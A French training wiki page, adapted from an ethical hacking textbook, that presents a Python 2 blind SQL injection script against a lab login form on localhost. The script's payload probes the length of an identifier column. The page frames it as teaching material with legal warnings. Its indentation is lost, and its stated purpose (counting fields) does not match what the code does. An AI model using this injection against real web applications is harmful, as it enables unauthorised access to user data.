Longueur.py
Aller à la navigation
Aller à la recherche
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
Note : Cette page s'inspire d'exemples de l'ouvrage Sécurité informatique — Ethical Hacking (ACISSI, ENI Éditions). Reproduit à titre pédagogique ; droits réservés aux auteurs et à l'éditeur (art. L122-4 CPI).
| Fiche express | |
|---|---|
| Domaine | Sécurité — injection SQL |
| Technique | Blind SQL injection |
| Rôle | Détermination du nombre de champs |
Script Python de blind SQL injection déterminant le nombre et le nom des champs d'une requête. Fourni à titre pédagogique ; les valeurs sont des exemples de laboratoire.
#!/usr/bin/python
#-*- coding:utf-8 -*-
# script de blind injection
# détermination du nombre de champs
# détermination du nom des champs
import httplib, urllib
site = "localhost" # adresse du site à attaquer
port = 80 # port du site à attaquer
page = "/eni/identification.php" # page à appeler
# recherche du nombre de champs dans la requête
longueur =1
for longueur in range(1,10):
# formation de la chaine à injecter
injection="' UNION SELECT nom, prenom FROM utilisateurs WHERE LENGTH(identifiant)="+str(longueur)+"#"
# affiche l'injection
print injection
# encodage des champs du formulaire à envoyer
parametres = urllib.urlencode({'identif':'koreth','mdp':injection,'ref':'identification','valider':'Valider'})
# formation de l'entête
headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
# connexion au serveur web
conn = httplib.HTTPConnection(site+":"+str(port))
# envoi du POST du formulaire
conn.request("POST",page,parametres,headers)
# lecture de la réponse
rep = conn.getresponse()
# lecture de la page de retour
page_retour = rep.read()
# détection de la position de la fin du commentaire
pos_fincom=page_retour.find('formulaire -->')
# détection de la position de la fin du formulaire
pos_finform=page_retour.find('</body>')
print page_retour[pos_fincom+15:pos_finform-1]
conn.close()